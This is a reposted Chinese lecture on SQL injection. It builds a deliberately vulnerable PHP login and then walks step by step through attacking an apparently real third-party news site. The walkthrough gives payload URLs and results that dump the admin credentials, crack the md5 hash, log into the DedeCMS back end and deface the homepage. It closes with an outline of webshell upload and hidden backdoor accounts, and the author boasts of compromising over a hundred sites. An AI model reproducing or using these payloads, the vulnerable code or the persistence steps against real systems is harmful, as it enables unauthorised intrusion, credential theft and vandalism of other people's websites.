轉載:小菜的愛Web安全篇之SQL注入攻擊

大家早上好!今天由我給大家帶來《web安全之SQL注入篇》系列晨講,首先對課程進行簡單介紹,SQL注入篇一共分為三講:

第一講:「紙上談兵:我們需要在本地架設注入環境,構造注入語句,瞭解注入原理。」; 第二講:「實戰演練:我們要在互聯網上隨機對網站進行友情檢測,活學活用,舉一反三」;

第三講:「擴展內容:掛馬,提權,留門。此講內容頗具危害性,不予演示。僅作概述」。

這個主題涉及的東西還是比較多的,結合我們前期所學。主要是讓大家切身體會一下,管中窺豹,起到知己知彼的作用。千里之堤潰於蟻穴,以後進入單位,從事相關程序開發,一定要謹小慎微。 問:大家知道駭客們攻擊網站主要有哪些手法? SQL注入,旁註,XSS跨站,COOKIE欺騙,DDOS,0day 漏洞,社會工程學 等等等等,只要有數據交互,就會存在被入侵風險!哪怕你把網線拔掉,物理隔絕,我還可以利用感測器捕捉電磁輻射信號轉換成模擬圖像。你把門鎖上,我就爬窗戶;你把窗戶關上,我就翻院牆;你把院牆加高,我就挖地洞。。。道高一尺魔高一丈,我始終堅信計算機不存在絕對的安全,你攻我防,此消彼長,有時候,魔與道只在一念之間。 下面,就讓我們一起推開計算機中那另一扇不為人知的門---

一、紙上談兵

(一)瞭解注入原理 為什麼會存在sql注入呢,只能說SQL出身不好。因為sql作為一種解釋型語言,在運行時是由一個運行時組件解釋語言代碼並執行其中包含的指令的語言。基於這種執行方式,產生了一系列叫做代碼注入(code injection)的漏洞 。它的數據其實是由程序員編寫的代碼和用戶提交的數據共同組成的。程序員在web開發時,沒有過濾敏感字元,綁定變數,導致攻擊者可以通過sql靈活多變的語法,構造精心巧妙的語句,不擇手段,達成目的,或者通過系統報錯,返回對自己有用的信息。

我們在學JDBC和SQL時,講師跟我們說 Statement不能防止SQL注入, PreparedStatement能夠防止SQL注入. 沒錯, 這句話是沒有問題的, 但到底如何進行SQL注入?怎麼直觀的去了解SQL注入?這還是需要花一定的時間去實驗的.預編譯語句java.sql.PreparedStatement ,擴展自 Statement,不但具有 Statement 的所有能力而且具有更強大的功能。不同的是,PreparedStatement 是在創建語句對象的同時給出要執行的sql語句。這樣,sql語句就會被系統進行預編譯,執行的速度會有所增加,尤其是在執行大語句的時候,效果更加理想。而且PreparedStatement中綁定的sql語句是可以帶參數的。

(二)架設注入環境

我們知道現在php作為一門網頁編程語言真是風生水起,利用lamp(linux+apache+mysql+php)或者wamp(windows+apache+mysql+php)搭建網站環境,如騰訊的discuz、阿里的 phpwind 以及織夢的dedecms 等建站程序,佔據了國內網站的半壁江山。那麼我們今天即以這種架構為假象敵,首先是在本地架設wamp環境。需要用到的工具有:apache,mysql,php ,這幾個組件可以單獨下載安裝,不過安裝配置過程較為繁瑣,還是建議新手直接從網上下載phpnow ,一個綠色程序,包含上述三個組件,傻瓜化操作就可以了。 然後呢,我們要建立測試用的數據表,編寫html,php,文件,通過實例具體來演示通過SQL注入,登入後臺管理員界面。這裡,我之前已經寫好了,大家看下:

1.創建一張試驗用的數據表:

CREATE TABLE users (

  id int(11) NOT NULL AUTO_INCREMENT,

  username varchar(64) NOT NULL,

  password varchar(64) NOT NULL,

  email varchar(64) NOT NULL,

  PRIMARY KEY (id),

  UNIQUE KEY username (username)

  );

添加一條記錄用於測試:

INSERT INTO users (username,password,email)VALUES(tarena,md5(admin),[email protected]);

2.接下來,貼上登錄界面的源代碼:

<html>
<head>
<title>Sql注入演示</title>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
</head>
<body >
<form action="validate.php" method="post">
<fieldset >
<legend>Sql注入演示</legend>
<table>
<tr>
<td>用戶名:</td>
<td><input type="text" name="username"></td>
</tr>
<tr>
<td>&nbsp;&nbsp;碼:</td>
<td><input type="text" name="password"></td>
</tr>
<tr>
<td><input type="submit" value="提交"></td>
<td><input type="reset" value="重置"></td>
</tr>
</table>
</fieldset>
</form>
</body>
</html>

當用戶點擊提交按鈕的時候,將會把表單數據提交給validate.php頁面,validate.php頁面用來判斷用戶輸入的用戶名和密碼有沒有都符合要求(這一步至關重要,也往往是SQL漏洞所在)。

3.驗證模塊代碼如下:

<html>
<head>
<title>登錄驗證</title>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
</head>
<body>
<?php
$conn=@mysql_connect("localhost",root,) or die("資料庫連接失敗!");;
mysql_select_db("injection",$conn) or die("您要選擇的資料庫不存在");
$name=$_POST[username];
$pwd=$_POST[password];
$sql="select * from users where username=$name and password=$pwd";
$query=mysql_query($sql);
$arr=mysql_fetch_array($query);
if(is_array($arr)){
header("Location:manager.php");
}else{
echo "您的用戶名或密碼輸入有誤,<a href="Login.php">請重新登錄!</a>";

}
?>
</body>
</html>

注意到了沒有,我們直接將用戶提交過來的數據(用戶名和密碼)直接拿去執行,並沒有實現進行特殊字元過濾,待會你們將明白,這是致命的。

代碼分析:如果,用戶名和密碼都匹配成功的話,將跳轉到管理員操作界面(manager.php),不成功,則給出友好提示信息

(三)演示注入手法 
  到這裡,前期工作已經做好了,我們看這個登錄界面,雖說是簡陋了點。但具有一般登錄認證的功能。普通人看這個不過是一個登錄界面,但從攻擊者角度來說,透過現象看本質,我們應當意識到隱藏在這個登錄頁面背後的是一條select 語句---
  OK! 接下來將展開我們的重頭戲:SQL注入
  填好正確的用戶名(tarena)和密碼(admin)後,點擊提交,將會返回給我們「歡迎管理員」的界面。
  因為根據我們提交的用戶名和密碼被合成到SQL查詢語句當中之後是這樣的:
   select * from users where username=tarena and password=md5(admin)
  很明顯,用戶名和密碼都和我們之前給出的一樣,肯定能夠成功登陸。但是,如果我們輸入一個錯誤的用戶名或密碼呢?很明顯,肯定登入不了吧。恩,正常情況下是如此,但是對於有SQL注入漏洞的網站來說,只要構造個特殊的「字元串」,照樣能夠成功登錄。
  比如:在用戶名輸入框中輸入:』or 1=1#,密碼隨便輸入,這時候的合成後的SQL查詢語句為:
   select * from users where username= or 1=1# and password=md5()
  語義分析:「#」在mysql中是注釋符,這樣井號後面的內容將被mysql視為注釋內容,這樣就不會去執行了,換句話說,以下的兩句sql語句等價:
   select * from users where username= or 1=1# and password=md5()
  等價於
   select * from users where username= or 1=1
  因為1=1永遠都是成立的,即where子句總是為真,將該sql進一步簡化之後,等價如下select語句:
   select * from users
沒錯,該sql語句的作用是檢索users表中的所有欄位
果不其然,我們利用萬能語句(』or 1=1#)能夠登錄!看到了吧,一個經構造後的sql語句竟有如此可怕的破壞力,相信你看到這後,開始對sql注入有了一個理性的認識了吧

二、實戰演練

OK,前面鋪墊了那麼多,算是給大家科普了。現在我們進行第二講,實戰演練。開始之前呢,有一個互動環節。現在請大家用自己的手機登錄 http://www.guoshang.tk 這個網址,簡單看下。待會等我們注入攻擊之後,再次登錄,好對比效果,對於sql注入攻擊有一個更加直觀的認識。

(一)積極備戰
1。首先設置瀏覽器,工具--internet選項--安全--找到「顯示友好的http信息」,把前面的勾去掉;
2。打開谷歌,尋找注入點。為了節省時間,這裡我已經事先找好目標點
http://www.guoshang.tk;
谷歌搜索小技巧:篩選關鍵字:"inurl:/news/read.php?id="

(二)狼煙四起
1。我們打開這個網址,一個新聞網站,,我們點擊[百家爭鳴]板塊,這是一個國內外新聞速覽的欄目,好多時政的帖子,我們點擊一個,OK,現在進入單個帖子界面,首先我們看下當前帖子的URL地址,
http://www.guoshang.tk/news/read.php?id=50
可以看出這是一個動態URL,也就是說可以在地址欄中傳參,這是SQL注入的基本條件。
2。判斷是否存在sql注入可能。在帖子地址後面空上一格,敲入 and 1=1 ,然後 and 1=2 。這兩句什麼意思呢? 一個恆等式,一個恆不等式,敲入 and 1=1 帖子返回正常, and 1=2 時帖子返回出錯,說明sql語句被執行,程序沒有對敏感字元進行過濾。現在我們可以確定此處是一個SQL注入點,程序對帶入的參數沒有做任何處理,直接帶到資料庫的查詢語句中。可以推斷出在訪問
http://www.guoshang.tk/news/read.php?id=50
時資料庫中執行的SQL語句大概是這樣的:
Select * from [表名] where id=50
添加and 1=1後的SQL語句:
Select * from [表名] where id=50 and 1=1
由於條件and 1=1永遠為真,所以返回的頁面和正常頁面是一致的
添加and 1=2後的SQL語句:
Select * from [表名] where id=50 and 1=2
由於條件1=2永遠為假,所以返回的頁面和正常頁面不一致
3。爆資料庫。確定注入點僅僅意味著開始。現在,我們回到原先的帖子地址:
http://www.guoshang.tk/news/read.php?id=50
現在要判斷資料庫類型以及版本,構造語句如下:
http://www.guoshang.tk/news/read.php?id=50 and ord(mid(version(),1,1))>51
發現返回正常頁面,說明資料庫是mysql,並且版本大於4.0,支持union查詢,反之是4.0
以下版本或者其他類型資料庫。
4。爆欄位。接著我們再構造如下語句來猜表中欄位:
a. http://www.guoshang.tk/news/read.php?id=50 order by 10
返回錯誤頁面,說明欄位小於10
b. http://www.guoshang.tk/news/read.php?id=50 order by 5
返回正常頁面,說明欄位介於5和10之間
c. http://www.guoshang.tk/news/read.php?id=50 order by 7
返回錯誤頁面,說明欄位大於5小於7,可以判斷欄位數是6.下面我們再來確認一下
d. http://www.guoshang.tk/news/read.php?id=50 order by 6
返回正常頁面,說明欄位確實是6這裡採用了「二分查找法」,這樣可以減少判斷次數,節省時間。如果採用從order by 1依次增加數值的方法來判斷,需要7次纔可以確定欄位數,採用「二分查找法」只需要4次就夠。當欄位數很大時,二分查找法的優勢更加明顯,效率更高。
5。爆表.確定欄位之後現在我們要構造聯合查詢語句(union select ),語句如下:
http://www.guoshang.tk/news/read.php?id=50 and 1=2 union select 1,2,3,4,5,6
我們來看帖子頁面,原先內容沒有了,取而代之的是返回給了我們 三個數字,分別是3,5,6 我們隨便選擇一個,這裡的3,5,6指的是我們可以把聯合查詢的對應位置替換為 我們想要查詢的關鍵字,比如版本,資料庫名稱,主要是用來探測web系統的信息。
6。爆用戶名、密碼。我們選擇3 吧,OK,現在把3給替換掉,先查詢下資料庫庫名,構造語句如下
http://www.guoshang.tk/news/read.php?id=50 and 1=2 union select 1,2,database(),4,5,6
瀏覽器給我們返回了 xinwen 。說明這個網站 的資料庫庫名是 xinwen .
現在我們用同樣的手法查詢下 管理員信息 ,構造語句如下:
http://www.guoshang.tk/news/read.php?id=50 and 1=2 union select 1,2,user(),4,5,6
返回 root@localhost ,是個管理員許可權。
現在我們再用同樣的手法查詢用戶名,密碼,構造語句如下:
http://www.guoshang.tk/news/read.php?id=50 and 1=2 union select
1,2,username,4,5,6 from admin
返回 admin
http://www.guoshang.tk/news/read.php?id=50 and 1=2 union select 1,2,password,4,5,6 from admin
返回 B2E5B76793EDA747382E81391AA3A400
7。md5解密。看到這裡,有的同學可能會有點緊張。其實返回的這個是字元串密碼經過32位md5加密後的值。上次李翊大帝給我們複習的時候 講過加密與解密。也稍稍提到了md5 摘要演算法,不可逆。話雖如此,現在互聯網上crack md5 「解密」md5 的網站很多,這裡我給解密加了引號,是因為其「解密」原理是 md5 值既然不能進行 逆向破解,但是同樣的字元串經過同樣的md5加密演算法所生成的md5值是一樣的,我們可以重新構造字元串生成md5值,然後對比兩個值,如果一樣則字元串一樣。有人說,這種方法豈不是海底撈針,試到猴年馬月去啊,其實不然,互聯網雲時代已經到來,大數據的信息挖掘以及分散式運算可以解決很多類似大運算量的問題。我們現在就要來對這個md5值進行比對,有好多網站提供這種服務,我們找一個。(http://www.md5.com.cn ) 這個網址,我們把這個值複製進去,然後點擊「MD5 CRACK「,「解密」時間,視密碼複雜度而定,OK,結果出來,(chinaadmin)
8。登錄後臺。現在我們已經拿到網站的管理員帳號密碼,感謝上帝,一路順風,但還不能高興得太早。很多情況是你雖然拿到了鑰匙,但是找不到門。下面我們就來找一下門,找之前要有個基本思路:
①先試下幾個比較常用的目錄;
②不行的話,因為這個論壇程序是dedecms5.6 ,所以我們就到 織夢官方,下載一套同樣程序, 分析網站管理路徑,或者直接百度「dedecms默認管理界面」即可,下載步驟可省略;
③手工不通,借力工具。明小子,啊D,御劍,都可以。
9。這裡我們發現此網站依然採用程序默認管理路徑:
http://www.guoshang.tk/dede
輸入用戶名 admin ,密碼 chinaadmin 成功登入。
接下來,我們找到【核心】--【附件管理】--【文件式管理器】--這時我們可以看到網站根目錄下所有目錄以及文件,下標欄還有幾個功能選項,我們可以看到網站首頁文件【index.html】,點擊【修改】,進入網頁源代碼編輯模式,刪除所有源碼(這招有點毒,勸告別改人家的源碼,建議新建一個文件),留個言,表示到此一遊。
卑鄙是卑鄙者的通行證,高尚是高尚者的墓誌銘----- 北島
現在是見證奇蹟的時刻!請大家再次登錄這個網站,有沒有把你和你的小夥伴們驚呆呢?!

至此,戰鬥結束。若干年的免費住宿,一日三餐在向你招手。。。

三、擴展部分鑒於此講內容危害性較大,不予演示。只簡述其流程。

(一)webshell提權

二講結束,我們僅僅取得網站管理員許可權,操作範圍僅限當前網站。革命尚未成功,同志仍需努力。若想深入挖掘,則必須尋求更大突破。獲得網站webshell .

①準備一個php網馬。(網上泛濫成災,自己下載。但要注重分辨,小心螳螂捕蟬黃雀在後);
②登錄網站後臺--【核心】--【附件管理】--【文件式管理器】--選擇下標欄中的【文件上傳
選項,上傳我們實現準備的php網馬文件(tarena.php);
③上傳完畢,點擊預覽,記錄下url地址。新建瀏覽器窗口,複製粘貼,打開之後,可以看到我們的網馬成功掛載,輸入密碼tarena(密碼可以自行用記事本打開修改編輯);
④進入網馬管理界面,你會被那華麗麗的操作選項驚呆了!(取決網馬水平,小馬就別談了,這裡指的是大馬)。從程序目錄-網站根目錄-各種強大的功能,乃至直接操作伺服器磁碟文件,獲取各種系統信息,躍馬揚鞭,如入無人之境。其破壞力之大,令人咂舌!所以拜託各位親,一定要盜亦有道,手下留情,除了靠法律監管,也要靠個人道德約束。

(二)暗修棧道

浴血奮戰、攻城拔寨之後,怎樣保衛來之不易的勝利果實?政治治大國若烹小鮮,入侵則烹小鮮如治大國。為長遠計,我們需要建立一種長期和肉雞保持聯繫的機制。而且還要很隱蔽,畢竟這是見不得光的。留後門的方法諸多:

①開啟telnet服務
建立匿名賬戶,添加至超級管理員組;
②開啟遠程終端服務;
③自製木馬觸發事件...

因系統平臺而異,這裡不再贅言。

後註:

①可能有讀者會覺得此文很假,的確,鑒於篇幅問題,文中目標站點是我事先踩點過的,所以才

會一路凱歌,事實上很少會有站點會如此理想,但萬變不離其宗,只是時間問題罷了。

②文中所述演示環境建立在同時滿足兩個條件下: 1.php配置文件中魔術引號已關閉; 2.建站程序中沒有對用戶輸入字元進行過濾。 實際生活中,類似的SQL注入漏洞已是明日黃花,國內大大小小的網站都已經補上漏洞。但,百密必有一疏,入侵是偶然的,但安全絕對不是必然的。筆者曾在晨講之前利用了一天的時間,採取手工加工具的手段批量掃描了一批站點,並最終成功攻克一百有餘。其中SQL注入漏洞確實很少,但各類0day漏洞層出不窮,更為嚴重的是後者比前者更加致命,互聯網的高速發展給人們帶來便利的同時也潛伏著非常多的風險,目前國內網路安全領域人才缺口非常大!希望達內能夠審時度勢,佔領市場先機,早日開設網路安全專業,為社會經濟建設保駕護航

推薦閱讀:

相關文章